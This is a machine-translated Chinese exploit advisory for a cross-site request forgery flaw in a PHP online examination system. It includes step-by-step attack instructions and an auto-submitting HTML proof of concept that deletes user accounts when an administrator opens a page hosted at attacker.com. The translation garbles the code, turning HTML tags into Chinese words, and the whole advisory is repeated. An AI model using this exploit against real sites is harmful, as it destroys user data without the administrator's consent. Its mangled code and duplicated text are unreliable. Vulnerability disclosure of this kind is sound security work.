＃利用标题:在线考试系统项目1.0-跨站点请求伪造（CSRF）
＃Google Dork: N/A
＃date: 09/06/2023
＃利用作者: Ramil Mustafayev（Kryptohaker）
＃供应商homepage3360 https://github.com/projectworldsofficial/online-examination-system-system-in-php
＃软件link: https://github.com/projectworlds32/online-examination-system-system-in-php/archive/master.zip.zip
＃版本: 1.0
＃在: Windows 10，Windows 8.0.28/php 8.0.28
＃CVE : N/A
在线考试系统项目=1.0版本（PHP/MySQL）容易受到跨站点请求伪造（CSRF）攻击的影响。攻击者可以制作恶意链接，当管理用户点击时，未经管理员同意就会从数据库中删除用户帐户。这是可能的，因为应用程序使用获取请求来执行帐户删除，并且不会实施任何CSRF保护机制。要删除的用户的电子邮件作为URL中的参数传递，该参数可以由攻击者操纵。这可能导致数据丢失。
要利用这种漏洞，攻击者需要执行以下:
1。确定安装在线检查系统项目的目标应用程序的URL。例如，http://example.com/
2。确定攻击者想要删除的用户帐户的电子邮件地址。例如，受害者@example.com
3。创建一个HTML页面，其中包含带有目标URL的隐藏表单，将用户电子邮件作为参数。示例:
html
身体
form action='http://example.com/update.php'method='get'
输入类型='隐藏'名称='demail'value='[email protected]' /
/形式
脚本
document.forms [0] .submit（）;
/脚本
/身体
/html
4.在目标应用程序的管理员用户可以访问的服务器上托管HTML页面。例如，http://attacker.com/poc.html
5。通过电子邮件，社交媒体或任何其他方式将HTML页面的URL发送给管理员用户。
如果管理员用户访问HTML页面的URL，则脚本将提交表单并删除与数据库中的电子邮件地址相关联的用户帐户，而无需管理员的同意或知识。
＃Google Dork: N/A
＃date: 09/06/2023
＃利用作者: Ramil Mustafayev（Kryptohaker）
＃供应商homepage3360 https://github.com/projectworldsofficial/online-examination-system-system-in-php
＃软件link: https://github.com/projectworlds32/online-examination-system-system-in-php/archive/master.zip.zip
＃版本: 1.0
＃在: Windows 10，Windows 8.0.28/php 8.0.28
＃CVE : N/A
在线考试系统项目=1.0版本（PHP/MySQL）容易受到跨站点请求伪造（CSRF）攻击的影响。攻击者可以制作恶意链接，当管理用户点击时，未经管理员同意就会从数据库中删除用户帐户。这是可能的，因为应用程序使用获取请求来执行帐户删除，并且不会实施任何CSRF保护机制。要删除的用户的电子邮件作为URL中的参数传递，该参数可以由攻击者操纵。这可能导致数据丢失。
要利用这种漏洞，攻击者需要执行以下:
1。确定安装在线检查系统项目的目标应用程序的URL。例如，http://example.com/
2。确定攻击者想要删除的用户帐户的电子邮件地址。例如，受害者@example.com
3。创建一个HTML页面，其中包含带有目标URL的隐藏表单，将用户电子邮件作为参数。示例:
html
身体
form action='http://example.com/update.php'method='get'
输入类型='隐藏'名称='demail'value='[email protected]' /
/形式
脚本
document.forms [0] .submit（）;
/脚本
/身体
/html
4.在目标应用程序的管理员用户可以访问的服务器上托管HTML页面。例如，http://attacker.com/poc.html
5。通过电子邮件，社交媒体或任何其他方式将HTML页面的URL发送给管理员用户。
如果管理员用户访问HTML页面的URL，则脚本将提交表单并删除与数据库中的电子邮件地址相关联的用户帐户，而无需管理员的同意或知识。